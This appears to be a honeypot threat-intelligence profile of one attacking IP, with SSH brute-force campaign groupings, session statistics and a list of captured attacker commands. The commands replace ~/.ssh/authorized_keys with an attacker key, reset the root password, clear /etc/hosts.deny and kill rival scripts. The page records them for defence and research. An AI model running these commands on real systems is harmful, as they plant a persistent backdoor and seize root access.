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Location
🇨🇳 CN
ASN
AS4811 · China Telecom (Group)
Cloud Provider
—
Total Events
117
Above average by volume
Agent Count
1
First / Last Seen
2026-07-13 17:55 — 2026-07-13 19:18
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (512 IPs, 72 countries)
HASSH
Active
high
🇺🇸 US
512 IPs
427333 events
ssh:bruteforce
2026-02-25 — ongoing · 512 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
AS4811 China Telecom Group
ASN
Active
medium
🇨🇳 CN
18 IPs
1453 events
ssh:bruteforce
2026-02-16 — ongoing · 18 IPs from the same network (China Telecom Group, AS4811) were active during overlapping time periods. Temporal correlation …
Session Forensics
Sessions
11 (2 with login)
Avg Depth Score
0.33
Commands Executed
23
Files Downloaded
3
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:1AItbTxUUZz1"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
4833729a0f44
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Scanner
d7e6529a14b9
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
4ecc1c5f1344
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:1AItbTxUUZz1"|chpasswd|bash